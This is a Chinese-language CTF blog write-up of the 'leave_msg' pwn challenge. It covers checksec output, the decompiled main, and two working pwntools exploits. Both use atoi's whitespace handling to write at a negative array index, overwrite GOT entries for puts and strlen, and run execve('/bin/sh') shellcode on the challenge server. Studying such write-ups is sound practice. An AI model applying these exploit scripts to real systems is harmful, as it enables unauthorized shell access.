avatar

leave_msg

leave_msg

方法一

看了一下开的防护,有 rwx 段,nx 没有开,shellcode 有利用的空间。

1
2
3
4
5
6
7
[*] '/home/carlstar/Desktop/leave_msg'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

再看一下程序了逻辑,再两处输入都有限制。第一次输入时我们可以输入 0x400 字节的长度,但是随后会有一个 buf 是否大于 8 字节的判断。第二次输入时会有 v3 <= 64 && nptr != 45 这个判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl main()
{
int v0; // eax
signed int i; // [esp+4h] [ebp-424h]
int v3; // [esp+8h] [ebp-420h]
char nptr; // [esp+Ch] [ebp-41Ch]
char buf; // [esp+1Ch] [ebp-40Ch]
char v6; // [esp+24h] [ebp-404h]
unsigned int v7; // [esp+41Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
while ( 1 )
{
v0 = dword_804A04C++;
if ( v0 > 2 )
break;
puts("I'm busy. Please leave your message:");
read(0, &buf, 0x400u);
puts("Which message slot?");
read(0, &nptr, 0x10u);
v3 = atoi(&nptr);
if ( strlen(&buf) > 8 )
{
puts("Message too long, truncated.");
v6 = 0;
}
if ( v3 <= 64 && nptr != 45 )
dword_804A060[v3] = (int)strdup(&buf);
else
puts("Out of bound.");
}
puts("Here is your messages:");
for ( i = 0; i <= 63; ++i )
{
if ( dword_804A060[i] )
printf("%d: %s\n", i, dword_804A060[i]);
}
puts("Goodbye");
return 0;
}

查了一下 atoi 这个函数,转化一个字符串为数字时,它会从第一个非 whitespace characters 字符去转换,也就是非 \x00 \x20 这样的字符。那么我们可以利用这个特性来让 v3 为负数从而覆盖 puts 的 got 表为 跳转到 shellcode 的代码。strlen 这个函数遇到 \x00 就会停止计算字符串长度,所以可以把 shellcode 放到 \x00 后面,这样就可以绕过检测但是 shellcode 已经在栈里面了。

1
>int atoi (const char * str);

Convert string to integer

Parses the C-string str interpreting its content as an integral number, which is returned as a value of type int.

The function first discards as many whitespace characters (as in isspace) as necessary until the first non-whitespace character is found. Then, starting from this character, takes an optional initial plus or minus sign followed by as many base-10 digits as possible, and interprets them as a numerical value.

The string can contain additional characters after those that form the integral number, which are ignored and have no effect on the behavior of this function.

If the first sequence of non-whitespace characters in str is not a valid integral number, or if no such sequence exists because either str is empty or it contains only whitespace characters, no conversion is performed and zero is returned.

偏移如何找呢,调试一下就好啦。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(log_level = "debug", arch = 'i386', os = 'linux',)


#target = process('./leave_msg')
target = remote('hackme.inndy.tw',7715)
payload = asm('add esp,0x36;jmp esp') + '\x00' + asm(shellcraft.execve('/bin/sh'))
#gdb.attach(target,'b *0x0804861D')
target.sendlineafter('message:', payload)

payload = '\x20' * 3 + '-16'
target.sendlineafter('Which message slot?',payload)
target.interactive()

方法二

在网上还发现一个骚姿势,就是把 strlen 函数的 got 表覆盖为 xor eax ,eax 这样的话就不会有 8 字节的写入限制了。接在把 puts 的 got 表改为 shellcode 的地址就行了。脚本懒的写了,直接贴上作者的脚本了D4rk3r

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'
context(arch = 'i386')
#p = process('leave_msg',env = {"LD_PRELOAD":"../libc-2.23.so.i386"})
p = remote('hackme.inndy.tw',7715)

#hijack strlen_got --> xor eax,eax ; ret
p.recvuntil('message:\n')
#gdb.attach(p,"b *" + str(0x0804861D))
payload = asm('xor eax,eax ; ret')
p.send(payload)
p.recvuntil('slot?\n')
p.send(' -15')

#hijack puts_got --> shellcode
p.recvuntil('message:\n')
shellcode = asm(shellcraft.sh())
p.send(shellcode)
p.recvuntil('slot?\n')
p.send(' -16')

p.interactive()
Author: CarlStar
Link: http://yoursite.com/2018/11/26/leave_msg/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment